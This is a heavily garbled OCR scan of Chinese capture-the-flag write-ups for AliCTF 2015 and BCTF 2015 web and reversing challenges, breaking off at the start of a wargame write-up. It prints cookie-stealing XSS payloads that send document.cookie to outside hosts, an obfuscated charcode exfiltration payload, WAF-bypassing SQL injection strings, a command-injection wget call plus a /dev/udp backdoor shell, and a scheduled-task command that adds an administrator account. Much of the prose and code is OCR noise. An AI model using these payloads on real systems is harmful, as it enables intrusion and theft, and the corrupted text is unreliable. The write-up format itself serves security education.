Cake /& —#l Android &, BARRAESE —MRA—NFRRRE, YHL—NKEN 16 11
B, RIEHFERTE 5IX A xor,

FrABRATT IR F 220 xor — Tl ok 1o BLRHARLW F T, SSHEZEHE M Key XL ok B
R ACHS

a=][0,3 13,19,85,5,15,78,22,7,7,68, 14, 5, 15, 42]

b = 'bobdylan’

g

i=0

for xin a:
s+=chr(x " ord(b[i % len(b)]))
i+=1

print s

0x01 BiEST WAF1
2. Bedm WAFL 2 —Figed WAF [, XS WAF BIRZE, A DU Hoih Jpidng . @id
AR R E R, 8L alictf.com T FHIfg, T2 fuzz 714, WE 3-1-1:

domain.py alictf.com

| S () B —
I I I - @ & (&

I T T I G T I O I I O O

) N DR/ N/ D (o P O AN

<Response [200]> www.alictf.com
<Response [200]> video.alictf.com
[rogress: (1117/3970)

B 3-11
544 video.alictf.com, FTIF&AKILEA waf, JENS N Id, WK 3-1-2:

28 52 TU/3t 120 71 EAMOH: http://t.qq.com/hackcto MARHEM: &4 15 H 4 Rl
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(& video.alictf.com/c091745aab700ef918f2b5d8bc15e587.php?id=4%20union%20select%201,2, keyurl %20from%20user_bb_ali%23&token=ebedcc3208f71...
M O #% [l Hacker [ %4y [ w [Wios ZUCTF [iTools [dAcG @ Ricter [EJ ocTF 2015

IR nE

alictf Is man one of God's blunders? Or is God one of man's blunders?
iRE AE

2 /d10150da597db387372001c52566ee84.php

K 3-1-2
0x02 Hi¥m#IFERE 1
S XSS, dEid ph 2 CEE (http://pan.baidu.com/s/IbnFBNH1) , <svg>Hr%s N <script>
{19 28 7T LA HTML encode, FRIh3RT, 41k 3-1-3:

189d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26 %2397 % 3B %26 %23108%3B %26 %23101%3B %26 %23114%3B %26 %2
[l Hacker [ #may [/ [0ios [LCTF [iTools [JACG () Ricter [E] 0CTF 2015

089d9b2b0de6a319.alictf.com LRI 2
@ -
g 1

K 313
2 J5i payload #l1 K :

var i = new Image();

i.src = "http://ricter.me:9999/?" + document.cookie;

3% flag.

0x03 HFEF
SRR, HT upx IN7E. F 010editor #7777 )5, AILABERIINT upx 72, FJ upx
-d li5e, Wk 3-1-4:

01F0Oh: OO0 OO0 OO0 Q00 OO0 OO0 OO0 OO0 Q0 OO0 OO0 00 00 00 00 00 @ ... ieeevannnanns
0200mh: 55 50 58 30 00 0O OO OO OO ADQ O3 OO OO0 10 0O 0O OTPXED. .o in vnewnns
0210hwh: OO0 OO0 OO Q00O OO0 04 00 OO QOO0 OO0 OO0 OO0 OO0 00 00 00 @ ... ieeevancnnnns
0220n: 00 0O OO0 OO0 80 00 OO ED S5 50 58 31 00 OO 0O 0O e 2. Aa0PEL. ...
0230nh: 00 20 03 00 00 BO 03 00 00 1C 03 00 00 04 00 00 e e,
0240nh: 00 0O OO0 OO0 OO0 OO OO OO OO0 OO0 OO0 OO0 40 00 Q0 EQ || v oveensnnnns @..a
0250nh: 2E T2 73 72 &3 00 00 00 00 20 00 00 00 DO O6 00 .rarc.... ...B..
0260h: 00 1& OO0 QOO0 OO0 20 O3 OO0 OO0 OO0 OO0 OO0 OO0 QOO0 OO0 00 @ ....s cieucoaans
0270nh: 00 00 00 00 40 00 OO0 CO 00O 00 OO0 OO0 00 00 00 00 R

K 3-1-4
7 ida &K GetWindowTextA i H 77, Wil 3-1-5~] 3-1-6:

= LEAL - WG F 1L e EUR, | ELATIILIN]

text:Aa0485923 push edx

-text:-0048592) call ds:GetWindowTextnA

-text:0048592A jz short loc_48592F

text:A048592C jnz short loc_48592F

text-@BBHBS92C ; Wrops oo ymnorE

R N L T an Aarao

R “dropsvbbyun.org

28 53 TU/3t 120 11 EAMOE: http://t.qq.com/hackcto HARHE: 44 15 H HTRd: ot
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IDA ¥iew-h | Fzeudocode—h x| | = Hex View-1 | [&]
int _ usercall sub 485948@<eax>{void =a1@<{edi>)
\

bool wvi; /5 zf@E1
int v2; /F ecx@1

{(void { thiscall =){void =))loc_485988)(al1);// GetWindowText
sub_4@5Dp28({int){{char =)al + 8@}, 775, B);
sub_485D028({int){{char =)al + B@), 776, B);
sub 4B5D28({int)}{{char =)al + 8@), 777, @);
| v1 = sub_u85168(al1) == 0; |

v = ¥¥¥;

if § vl )

w2 = ¥i6;

return sub_485DZ8{{int)}{{char =)al + 88), vZ, 1});

} I

[ I T I LY I - - R I = W I T L B

drops.wooyun.org

K 3-1-6
Sub_405160 iX /™ bR HU & AT FIWT I R 2L, Wil 3-1-7:

VLD = By

257 = strlen{&u?);

For { i = v257 - 1: (i & BxE0000008) == B; ——i )
#{&u2 + i)y "= BxA4Cu;

For { i = v257 - 1: (i & BxE00008008) == B; ——i )
#{&U2 + i) "= BxGAuU;

For { i = v257 - 1: (i & BxE00008008) == B; ——i )
#{&u2 + i)y "= BxA4Bu;

For { i = v257 - 1: (i & BxE00008008) == B; ——i )

1
if { =({ BYTE #=)this + i + 894) *= *{&u2 + i} )

return B;
} dl'D]JS.\'f'DD}'"L'I]].Dl'g

K 3-1-7
Al DL B L R, K “himemnl” 4 —147 5 Ox4c,0x5a,0x4b %8 —IK, HiA]
PAF3 3% hY “5408031”
0x04 fRj NV 552458
] Bk 552 4 — BUE e T . MK S, Hodt Username Jy Admin, & 3-1-8:
Username

Admin

Password

123123123

register

drops.wooyun.org

K 3-1-8
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Bk A L1101 NER Y, WK 3-1-9:
min! You have $11!

a Value Buy

;—3\ $10 Buy

asources Audits Console XSS Encode EditThisCookie
/h4> St

oop.php?token=ebedcc3208f7122ef977ae3fe8a3f360" method="post" role="form">
atrol" name="num" value="-111">

1trol" name="id" value="1">

n—-default">Buy</button>

K 319
BRI 25, RE KRB
0x05 Hi¥#l3ERE 2
RSt W) B 2 T BRLOR UL & 25 /R — A flash LEARIRGE . BB 9115 2 as /RS, BT LA
138 Externalinterface.call & /& 5, HZKIE 2 delete fiAlLL ik,
IR R I :

http.//pan.baidu.com/s/1pJIXdW

JUNRARTE ZERE RN vector 23k BTl AE B K 4 1Y) i T 52 3 (flashvars A DL FI#ORIE 21 ik
H O H D a8 S — 2 i ) XSS B HIX AN 76 2o g 3. X —P0#0
BET flash 2 £ FF— L84} URL Zi b1 AL 4F

(1)flash = EFF P M BE% 5 TR N #ER 745 (([*0-9a-fA-F])) , LEAn:

H%Xrl or rl%= n

(2) B RAE 9% i 1 I — DM O — DA RNl b 545, e EF AR, .

M%AXM or II%A&H

XFEAC IS L RE bypass AN delete 1, [RINTE for BLEF %X 7 1 1, #JE 7E call BES {5 flash
SEFIEAS, RIGERIXR CE R vk

http://pan.baidu.com/s/1hqu2RVQ

i b

alert(1))}catch(e){alert(100)}//

IRERAFA LR (LMZEN, R THA, FETRE T FRIGEAA =, =Tl
Jri m] DL FE 3

%Xdebug=\%22));alert(1);}catch(e){alert(100)}//

B i payload 1 K

http://8dd25e24b4f65229.alictf.com/swf.swf?%Xdebug=\%22));eval(String.fromCharCode(101,118,97,108,40,34,1
18,97,114,32,120,61,110,101,119,32,73,109,97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,4
7,47,52,53,46,53,53,46,49,51,53,46,49,51,57,47,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,101,11
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5,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,34,41));}catch(e){alert(100)}/
/

0x06 BiESLT WAF2
et = WAF2 @81 H W ATE NI, BT LSS — a2 e % & — NI I ip 1842 T K& writeup,
PR TFENIBYTH, T 5E fuzz IP:

192.168.x.x
10.x.x.x

172.16.x.x

KIL 10 FFLE 1P mT LAV 1] 3BT B L HTTP i 3R 7738 PATCH A LLiEBRP 2828 . Bk
KT, W%20 BUAN%0b ZE5eit kG, E N33 flag, Wl 3-1-10:

i [ ] Burp Suite Professional v1.5.18 - licensed to LarryLau
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | inwruder | Reneater | Senuencer | Decoder | Comparer | Extender | Qptions | Alert
M

[ e | <|r Target: http://08a6faf191a11e06f 3dfd1dbfa2670c6.alictf.com | #) |7

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

80460deae363612b05a2837. phpPid=1t ubumomnksem st0bl r
40bEdT ken=ebedcs3208£7122eE

(/LhEad>
3 Mozillaf5.0 (Maciatosh; Intel Mac 05 X 10.10; <Lb dy>
©/20100101 Firefox/36.0
row'»2

«'rﬂ\Iaaiqaﬁhl!ce751!3fe§ﬁfaTﬂaenﬁahHh php</td>
2h-CN, 2h;g=0.8,en-US;g=0.5,en;g=0.13 </t
gzip, deflate /eboay> /tablens/dlvaebs fred
class="table. zcs;onsim 2 rab o class="cable cable.bordared tablo-stripedss
uN1RBBES3$2FHzG2al AMVVIpS 35
200hBYORM WS 00 SKEPARSSES
AT Sy,

PPl p TJ20Z+ JIA 3UUEA: o RMC
IS5 1TZ100N7 Q7 ANGARIoVAIPKE 144 v /2F3S) AKX ICOWE ADIY FASBNT e00UQOWIICATFNIgEr VZ/PAGIP
- form-urlencoded Roalr [YAELIBLBMIS
w—www- farm-urlencoded

rows =2
Ln xaxeax</ tdx

</u: dy></table></divechr />

v

0 matches <) [+ ] [ [user 0 matches

3,634 bytes | 83 millis

K 3-1-10
0x08 V4B FBIE
FFEANIEFR R, KA, KIS TNk

http://jinan.alictf.com/resetpass/reset.php?pass_token=xxxxx

TEULIX B token AT LAIEHILLF 1, A EE SN, KIURHA R,

testKey: 673f3e705c8d5b7af675f309e58d46c9
ServerTime: 15-03-29 20:46:03

FiAH, token HHE &N md5 A= REAHMINE, TIX testkey Al ServerTime 1 &2 H
B, (HESATREEEN AN token H—FE, FTUEEEFEH %, T NRIZ

md5(username + testKey + serverTime(#7/5]#%))

INE AT MELL admin (%65 1, (H 2 Ui Hu S fili o 220k xff. xrealip S8k # AT 2R
Ja ERER TAS http AREE, SRSEHUEEAT LA T o X8 E A s A L 1 AR N EERRERD TR
0x09 RUmHIFA 3

<html>
<head>
<script src='jquery.min.js'></script>

<script>
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function URL(url) {
this.url = url
this.illegal = false;
this.scheme = null
this.query = null;
this.fragment = null;
this.authority ="
this.path =";
this.username = null;
this.password = null;
this.port = 80;
}
URL.prototype.parse = function(){
var url = this.url
//parse fragment
var pos = url.indexOf('#');
if(pos >-1){
if(url.length > pos+1){
this.fragment = url.substr(pos+1, url.length-(pos+1));

}

url = url.substr(0, pos);
}
//parse query

pos = url.indexOf('?");
if(pos >-1){
if(url.length > pos+1){
this.query = url.substr(pos+1, url.length-(pos+1));
}
url = url.substr(0, pos);
}
//parse scheme
var pos1 = url.indexOf(":");
var pos2 = url.indexOf{('/");
if(pos1 > -1 && pos2 > pos1){
this.scheme = url.substr(0, pos1).toLowerCase();
url = url.substr(pos1+1);
if(url.substr(0,2) =="//'){
url = url.substr(2);
Jelse{
this.illegal = true;
return
}
Jelse{

this.illegal = true;
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b

return
}
while(url.charAt(0) == /'){
url = url.substr(1)
}
pos = url.indexOf('/")
ifpos == -1){
this.authority = url;
this.path =";
Jelse{
this.authority = url.substr(0, pos);
this.path = url.substr(pos);
}
//parse username and password
pos = this.authority.indexOf('@");
ifpos == -1){
this.username = null;
this.password = null;
Jelse{
this.username = this.authority.substr(0, pos);
this.authority = this.authority.substr(pos+1);

pos = this.username.indexOf{(':')

if(pos == -1){
this.password = null;
Jelse{

this.password = this.username.substr(pos+1);

this.username = this.username.substr(0, pos);

}

//parse port

pos = this.authority.indexOf(":");

if(pos >-1){
this.port = this.authority.substr(pos+1);
this.authority = this.authority.substr(0, pos)

}
URL.prototype.validate = function(){
this.parse();
if(this.illegal) return;
//validate scheme
if(this.scheme = 'http' && this.scheme !="https'){
this.illegal = true;

return;
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if(this.username && this.username.indexOf('\\') > -1){
this.illegal = true;
return;

}

if(this.password && this.password.indexOf('\\') > -1){
this.illegal = true;
return;

}

if(this.authority = 'notexist.example.com'){
this.illegal = true;

return;

}
URL.prototype.get = function(){

if(this.illegal){
return 'default.js’;
Jelse{

return this.url;

}
</script>
</head>
<body>
<script type="text/javascript">
var url = new URL(location.search.substr(1));
url.validate()
url = url.get()
S.getScript(url)
</script>
</body>
</html>

B¢ JavaScript RS, A4id ik

http.//ef4c3e7556641f00.alictf.com/xss.php ?http://notexist.example.com:@notexist.example.com: @ricter.me:99

99/

In#k ¥ JavaScript A A1 XSS100 AHIA .
0x10 FEjHNVSBEE 2

<l--
function encrypt(Splain) {
Splain = md5(Splain);

//var_dump(SV);
Srnd = md5(substr(microtime(),11));
//var_dump(substr(microtime(),11)+mt_rand(0,35));

Scipher ="
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for(Si = 0; Si < strlen(Splain); Si++) {
Scipher .= (Splain[Si] * Srnd[Si]);
}
Scipher .= Srnd;
SV .=strrev(SV);
//var_dump(Scipher);
for(Si = 0; Si < strlen(SV); Si++) {
scipher[si] = (Scipher[Si] » SV[5i]);
}
//var_dump(Scipher);
//var_dump(SV);
return str_replace('=", "', base64_encode(Scipher));
}
function decrypt(Scipher) {

Scipher_1 = base64_decode(Scipher);

//var_dump(Scipher_1);

if (strlen(Scipher_1)!=64){

return 'xx';

}

SV .=strrev(SV);

Splain = Scipher_1;

//var_dump(Scipher_1);

//var_dump(SV);

for(Si = 0; Si < strlen(SV); Si++) {
Splain[Si] = (Scipher_1[Si] » SV[Si]);

}

Sran = substr(Splain,32,32);

Splain = substr(Splain,0,32);

//var_dump(Splain);

for (Si = 0; Si < strlen(Sran); Si++) {

Splain[si] = (Splain[si] » Sran[si]);

}

//var_dump(Splain);

return Splain;

}

1>

UL ) PHP AR, 73 B0 A il 5

1LAHFEmds J7, 51 BEPI4 /%I md5 XOR

2. /71714 md5 J1L- rnd md5 2k # X 1;

3.2 X 1 FI—1 AT md5(V).strrev(md5(V)) 417 XOR ;
4. R TG B X R [

M e PR, T 32 A209:

md5("Guest") » md5(rnd) » md5(V)
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Ja 32 i :

md5(rnd) * strrev(md5(V))

W RAESEHT 32 LA H P 4 M Guest # 5% Admin, U

md5("Guest") A md5(rnd) » md5(V) » md5("Guest") » md5("Admin")

BT DA 22 45 5 S A Python JHIAEEIT] (c8 ] ~)_, W 3-1-11:

-» Desktop "MTU20mImMmMz YWdvbTQyMmEZzZTM2a2dmZz1sNmU2M20BUFMHAAUNVVIEUFANUQ
NWI1ZDQzY2RhMmFnZmBjOmAxYmFiMzUzNjx1N2JhMGcBUFMHAAUNVVIEUFANUQZVU1EFUWEBBQRRVgAWBFdUAw:

- Desktop ||

B 3-1-11
kG Cookie HH —A> serailize HyEN, i€ THS, Aidsadr 7, i 3-1-12:

flag

letwork Sources Timeline Profiles Resources Audits Console XSS Encode | EditThisCookie |

4 Value 4 Domain 4 Path & | Expires
5:137:"-1 union select 1,table_name f... cbcd512994370fc3d6a05eb9a73b... /db... Sun Mar 29 2015 19:33:17
A2ANAPCTF7CRANTATRTRCI 201 FF1C alictf cam ! Tiie Anr 28 2015 %P 72
A 3-1-12

0x11 BFEYIRE
e s — AN RIBE, TR URL EIVEMF) URL A FEEL action A register, 2 Gl
G PR K S, an A 3-1-13:

% l%\ Eﬁ i*
test123

NL Ay

CEAHEIX ] EL1E LT IR EI X H)
http://xishouliangmixiadedanlingjiahaha.alictf....

o 2% Cookies

drops.wooyun.org

& 3-1-13
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BECRMEAAFAES H Ui, Bl 4y SCF, anfEl 3-1-14:

(& xishouliangmixiadedanlingjiahaha.alictf.com/hack_weibo/user/user_touxiang_najiagiang.php?token=ebedcc3208f7122ef977ae3f
E: ™ ﬁ”"\\ [ Hacker [ #4may [ #% (oS [CTF [Tools [ACG ( Ricter [EJ oCTF 2015

EMEA %X O MR, REREHE? 5

»%

] | Elements | Network Sources Timeline Profiles Resources Audits Console XSS Encode EditThisCookie
:before
r<div class="container">
::before
v<form method="POST" action>
v<div class="radio">

v <label>
<input type="radio" name="canglaoshi" id="1" value="1">
<img width="90" height="90" src="../image/file/../../bushiba!!! kandaozhegewenjiannidoubuxiazai.zip">
</label>
» <label>..</label>
v <label>

<1nput type="radio" name “canglaoshl“ id="3" value:

K 3-1-14
NG G L, B REE NS, KB E 42 ESL T 208 mul R, 2
ZHPE or{x 1}#, W& 3-1-15:

[ JON ] Burp Suite Professional v1.5.18 - licensed to LarryLau
Burp Intruder Repeater Window Help

[arget | | spider ] scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts |
(1 xT2xTs~ Jauals > Ts=JoxTuoxT..]

Go | <iv Follow redirection | Target: http:// ' alictf.com | 4|2

|
ept-Languages zh-CN,zh1q=0.8,en-US)q=0.5,en1q=0.3 HTTP/1.1 302 Found
coding: gzip, deflate Date: Sat, 28 Mar 5 05:25:42 GMT
(Win64) PHP/5.4.12

[ Raw | params | Headers | Hex Raw | Headers | Hex | HTML | Render |

19 Nov 1981 08:52:00 GMT
+ no-store, no-cache, must-revalidate, post-check=0, pre-check=0

2 GMTy p
125142 GMT; pathe
OThlY2Y $3D%3D; expires=sSat, Mar-2015

res=sat, 28-Mar-2015 0612 T; path=/;
8816966251038012075185927994

+ form-data; name="bbbb"
--8816966251038012075185927994 Keep-Alive
+ text/htmljcharset=UTF-8
form-data) name="aaaa"
—- --8816966251038012075185927994

tion: form-data) name='cccc'j

8 padding-top: 40px; b
v padding-bottom: 40px; v

0 matches | 0 matches

2,987 bytes | 1,125 millis

& 3-1-15

RIS & 1173 2] user_bak pREALAFIE— A UENIRIF (about AR , 40l 3-1-16:
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) 0 Burp Suite Professional v1.5.18 - licensed to LarryLau
Burp Intruder Repeater Window Help

Targer | Spider | Scanner [ Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts |
[1xJzx[3=]s=Jam]s=T]o=]10=]-)

Bfi</cds
238que. com</td>

sl n Fifl< />
Agents Mozilla/S. 8515220894 </ k>
b rv136.0) Ge .

h-cN, 2hig=0.8 8n-Usg=0.5,enrq=0.3
: gzip, deflate

R IEREFT A< / £d>
d7b76308508C0694342/ 10>

out'=' and L=EXP(~version{))f</textarsas</tdx
5£5145129b1haBa7E65habbd T5dEuid=11

ersion())#&submis=changesusername=test adminl23 n style="floatirights"><input vlass="btn btn-large ben-primary"
we="change" id="SUBMit" mame="Fubmit"></spans</tds<tds</td>

5
v

0 matches

2,633 bytes | 147 millis

K 3-1-16
REBRE B OIS, N hdoox|@#. SRIGTREMAE T XN ERH A, (KRG
MERENT MM T . ADS BEAER, Bre SOt ReAE 2], (HZE AN admin_pic Hi&
BB E . fJEBA KR eee iR T, KRS ADS f#7::INDEX_ALLOCATION 3 & SC {49,
SR 5 B admin_pic ) Cookie, T ::$DATA 4% php 1.
ox12 fHHAFR: HHE
B R VREI24HT token i 27638e649e4371f54eddb9a201f1b78¢
45 #8: ageis.alictf.com
HBOEEIRSS 2% LR — DU S IRE K SRR AL T E B R A K S
BRI G, Vil http://ageis.alictf.com, #REFEF| “WefR /7 #& PN A, MPEBFERF
R AR B token HEHREEDN flag.

A R% a5 L — NS alictf, %5555,

B. RIE R /KA win2003 x64..

CAHLETT I VPN RS

D.Jy T iGN MET, R 75 LS ERAF A S B IINT, H 255 Bl R’

E GG ENS S HIRF SR 7, Bl T2 10, FERPEe S 22 1P, R L #E751

A H AR W R 2 EARE R VPN T

alictf:123456

HEE 3. ifconfig H— T, ip & 172.16.0.1 1 Fuil, S 7 80, 445, 1025, 1723, 3389
BAT A UF AR 3389 H i LA, WAKATRESE snmp EL% smb AL H & T, ARAETCHK msf
HAEAT, RRWICEARY), RJEE T FEITH tips thAN VG H A FAAEAT 250, KR
HWA A, A& windows THRIMES SCHFJE R S0, BIE RN

c:\windows\tasks

P at —EAKSE, EREARPIVER S, Rt Bl

at \\172.16.0.1 xx:xx c:\windows\tasks\server.exe

BEPAT —ANm s, ERBRRN, REE TR
N T BRSNS, EIR S s DT A A S J LRI, Rassics.
HIERERHIA AT, REILAE TR o P DLEHEPAT a2 4 1!
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HAZ, NERKEIMAZNMER, ZAERITHS R ATIL L IE2REAEL, B
SR RATHRMESS RIS, R EHAT job SCAFEHIBEL4F T, A2 H SHZ B 3 AT
PN ERIME 55 AE MR A e R A SRR, (B LRI, ANE AL T, AT

at xx:xx "net user eee password /add && net localgroup administrators eee /add"

XFEETE c\windows\tasks\ F s 24E 1 — > job 3CF, B4R AN e E St L 2 A2
e — M RIMESSWE ? Just do it

copy Atl.job \\172.16.0.1\\Tasks\

Sk, LB H—FFE T At2.job Al At65535.job 4R J5 545 AR 55 24 AT !
(&5 T B

%29 BCTF 2015 WEB Writeup

fE#&: evilmO
KH: evilmO A%
Wk http://linux.im/

Checkin 10

Desc:Please checkin at IRC
IRC:http://webchat.freenode.net/
Channels:bctf

Bulletin board:

[BCTF 2015 has started. Check in flag: OPGS{jrip0zr-g0-OPGS-2015_t00q-yhpx}.

Rot13 decode:

OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx} <--> BCTF{welcOme-t0-BCTF-2015_g00d-luck}

Sqli_engineScore 200
np 3-2-1:

New Social Network

(website still under construction...)

PROBLEM?

B 3-211
Desc:

http://104.197.7.111:8080/
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geohot told me he has a lot of sql injection tricks. So | wrote a sql injection detection engine in defense.

Now you have a simple website protected by my engine, try to steal the admin’s password(not hash).

Username,Password:::SQLi

<form id="submit-form" class="form-group" action="/register" method="POST">
<input type="text" placeholder="username" class="form-control" name="username"/>
<input type="password" placeholder="password" class="form-control" name="password"/>
<span class="input-icon fui-check-inverted"></span>
<br />
<div class="row">
<div class="col-xs-3"> <button type="submit" class="btn btn-block btn-lg btn-primary">Register</button>
</div>
Already registered?<a href="/static/login.html">Click Here to Login</a>
</div>
<br />

</form>

SQL Injection:

URL: http://104.197.7.111:8080/register

POST: username=admin&password=,"

error executing sql: insert into users (username, password) values (‘admin’, ',""

(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version

for the right syntax to use near ",")" at line 1")

Continue:

username=admin\&password=,updatexml(1,(select password from users limit 1),1) or'

password contains SQL injection, IP recorded.

Bypass WAF:

username=admin\&password=,updatexml(1,(/*/*/select password from/*/*/users limit/*/*/1),1) or/*/*/"
(1105, "XPATH syntax error: '{hOw-d1d-yOu-feel-I1ke-th3-sql1-'")

Substring right:

username=admin\&password=,updatexml(1,(/*/*/select right(password,33)/*/*/from/*/*/users limit/*/*/1),1)
or/*/*/"
(1105, "XPATH syntax error: 'd-yOu-feel-l1ke-th3-sql1-englne}")

String concatenation (FLAG):

{hOw-d1d-yOu-feel-l1ke-th3-sql1-englne}

Torrent_loverScore 233
Desc: A dog loves torrent, %1 & 3-2-2~&] 3-2-3:

ADoG zhongzi Reader

input something(torrent)'s URL u wanna know here:
Submit

B 3-2-2
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Emmmmmm, trying

check out /zhongzi/index.php later for your torrent

K 323
http://218.2.197.253/zhongzi/index.php, 1K 3-2-4:

ADoG zhongzi Reader

« Filename: xxxx
« Invalid torrent file.

« Filename: index.php?c=e..torrent.5
« Invalid torrent file.

« Filename: index.php?c=e.LXJ3eHIteCOtLSAxIHd3dy1kYXRhIHd3dy1kYXRhI
« Invalid torrent file.

« Filename: CentOS-7.0-1406-x86_64-livecd.torrent
« Invalid torrent file.

« Filename: index.php?c=e..torrent.4
« Invalid torrent file.

« Filename: ubuntu-14.04.2-desktop-amd64.iso.torrent.2
« Invalid torrent file.

« Filename: index.php?c=e..torrent.1
« Invalid torrent file.

Kl 3-2-4
We guess, Maybe the command execution, The program calls the system function? Because we
have no other way. :-(
Testing:

http://www.google.com/ wget worm.cc:8000/1.torrent
http://www.google.com/ wgetS{IFS}worm.cc:8000/1.torrent

We have received req (404):

root@e:/rootkit# python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

118.186.202.142 - - [22/Mar/2015 13:44:39] "GET / HTTP/1.1" 200 -
118.186.202.142 - - [22/Mar/2015 13:44:41] code 404, message File not found

ubd.sh:

#!/bin/bash

exec 9<> /dev/udp/localhost/8088
[§?-eq 1] && exit

echo "connect ok" >&9

while :
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do
a="dd bs=200 count=1 <&9 2>/dev/null’
if echo "Sa"[grep "exit"; then break; fi
echo *Sa* >&9

done

exec 9>&-

exec 9<&-

nc -lu 8088, Ul 3-2-5:

1s /tmp
654321 backk#.torrent bbb droplet em emiscute-- emiscute-flag ssh-AKulJOm4vdI use_me_to_read_flag uwsgi.sock

1s -la /tmp
total 40 drwxrwxrwt 3 root root 4096 Mar 21 20:53 . drwxr-xr-x 22 root root 4096 Mar 6 21:13 .. Llrwxrwxrwx

.fuckfuck -> /bin/pwd/flag lrwxrwxrwx 1 www-data www-data 18 Mar 21 20:22 .fuckfuck2 -> /var/www/flag/flag

r 21 18:46 654321 -> /var/www/flag/flag -rw-r--r-- 1 www-data www-data 438 Sep 29 2012 backk#.torrent lrwxr
18:45 bbb -> /var/www/flag/flag -rwxr-x--- 1 www-data www-data 8871 Mar 21 20:52 droplet lrwxrwxrwx 1 www-dd
ag lrwxrwxrwx 1 www-data www-data 18 Mar 21 19:04 emiscute-- -> /var/www/flag/flag lrwxrwxrwx 1 www-data

-> /var/www/flag/flag drwx 2 root root 4096 Mar 21 10:22 ssh-AKuJOm4vdI -rwxr-x--- 1 www-data www-dat]
flag srwxr-xr-x 1 root root @ Mar 6 23:11 uwsgi.sock

B 3-2-5
find use_me_to_read_flag and flag:

/var/www/flag/use_me_to_read_flag /var/www/flag/flag

> Permission denied

IDA,see _strstr “flag”, 1% 3-2-6:
IR e |

X 2] IDA Viewa | X [ HexView | X B Stuctues | X En Enums | X B Imports | X 5 Exports | v

mov rax, fs:28h

mov [rbp+uar_18], rax

xor eax, eax

o s R, 5

jnz short loc_4007AB r

Jalll
¥ v
EIN L ENN L =1
mov rax, [rbp+uar_440]
mou rax, [rax] loc_4007AB:
mov rsi, rax mov rax, [rbp+var_440]
mov edi, offset format ; "%s [File to read]\n" add rax, 8 [::::]
mov eax, 0 mov rax, [rax]
call _printf mov esi, offset needle ; "flag"” ==
mou edi, 1 ; status mov rdi, rax ; haystack E]
call _exit call _strstr
test rax, rax
jz short loc_40807F5
: v
[ENw } BN ]
100.00%  [(-94,371) [(741,341) (00000740  [0OOOO0D00040074D: main
3-2-6

Cat FLAG:, 1 3-2-7:

In -s /var/www/flag/flag /tmp/warning
/var/www/flag/use_me_to_read_flag /tmp/warning

1s /var/www/flag/
flag use_me_to_read_flag

/var/www/flag/use_me_to_read_flag /tmp/bbb
BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}

K 3-2-7
Webchat 325
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Desc:http://146.148.60.107:9991/, fI1[&| 3-2-8:

Welcome to WebChat System

Connected
Message Rejected

Notice: All messages will be logged, and Big Boss will review your messages for anti-terrorism.

Your Nickname

test

Your Message

test">

Send Message Clear Message

Chat Messages:
224 test: 1111111
<Notice> Admin has reviewed up to message 220

K 3-2-8
Websocket XSS? SQL Injection?
View-source:

<script>
S(document).ready(
function() {
function connect() {
S("#status"”).text("Connecting");
S("#status”).attr("class", "text-primary");
var ws = new window.WebSocket('ws://' + location.host + '/ws');
ws.onopen = function() { S("#status").attr('class’, 'text-success’).text('Connected’);
S("#submit_btn").attr('disabled’, false).click(function() {
S("#sendstatus”).attr('class’, 'text-primary’).text('Sending...");
ws.send(S("#i_nick").val() + ": " + S("#i_msg").val());
Y
}
ws.onclose = function() { S("#status").attr('class’, 'text-danger’).text('Disconnected’);
setTimeout(connect, 5000);}
ws.onerror = function() { S("#status").attr('class’, 'text-danger’).text('Failed to connect.’); }
ws.onmessage = function(datad) {
var data = datad.data;
if (data[0] == 'm') S("#msg").html(data.substr(1) + "<br/>"+ S("#msg").html());
if (data[0] =='s") { S("#i_msg").val("); S("#sendstatus").attr('class’,
'text-success').text('Message Sent');}
if (data[0] =="e') { S("#i_msg").val("); S("#sendstatus").attr('class’,
‘text-danger’).text('Message Rejected’);}
}
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}

connect();

VA

</script>

1E http://ironwasp.org/cswsh.html % A\ ws://146.148.60.107:9991/ws, U1 3-2-9~ 3-2-10:

ws://146.148.60.107:9991/ws

test: 123’

Send Message

eDatabase error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''test: 123")' at line 1

test: 123"

m244 test: 123

K 3-2-9

mysql> select hex('<script src=http.//xss.net/OTLs5n?1426923466></script>");

+. +
u U

| hex('<script src=http.//xss.net/OTLs5n?1426923466></script>')

/
/
3C73637269707*******x**¥*3D687474703A2F2F7873732E6861636B7461736B2E6E65742F30544C73356E3F

/

+. +
u U

test:
'),(0x3C73637269707 **********%3687474703A2F2F7873732E6861636B7461736B2E6E65742F30544C73356E3

F.(

Request Headers

HTTP_REFERER : http://12

7.0.0.1:9991/review?pass=QkN
URNt4c3NfaXNfomO0X3RoYXRFZ
GImZmljdWx0X3JpZ2h0fQ==8a

: mp;id=24
B991/revie :
HTTP_USER_AGENT : Mozill
90X3R0OYXR '
_ a/5.0 (X11; Linux x86_64; rv:3
&id=24 :
6.0) Gecko/20100101 Firefox/3

6.0

& 3-2-10
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http://146.148.60.107:9991/review?pass=QkNURnt4c3NfaXNfbm90X3RoYXRfZGImZmljdWx0X3JpZ2h0fQ==&id=2
4

Page Content: Only admin in local network with correct password can review chat logs. But
you’ve already had the flag you want,right?

=» ~ echo-n "QkNURNt4c3NfaXNfbm90X3RoYXRfZGImZmIjdWx0X3JpZ2h0fQ=="| base64 -D
BCTF{xss_is_not_that_difficult_right}

(&58) TSt R

#3357 Wargama-leviathan Writeup

{E#: litao3rd
KHEH: SRHARE - WooYun
Wik http://drops.wooyun.org/

level 0

K= AR, 458, A IR 5 %00 . dT M IO ReE 2, A FHAUR.
level0->1

R _E—RASBIIK S 250, ssh 2 kE 2] Hbrbles, i 3-3-1:

@ — o leviathano@melinda: ~

- /home/litao3rd
$->ssh leviathane@leviathan.labs.overthewire.org [23:28:13]

This is the OverTheWire game server. More information on http://www.overthewire.org/warg
ames

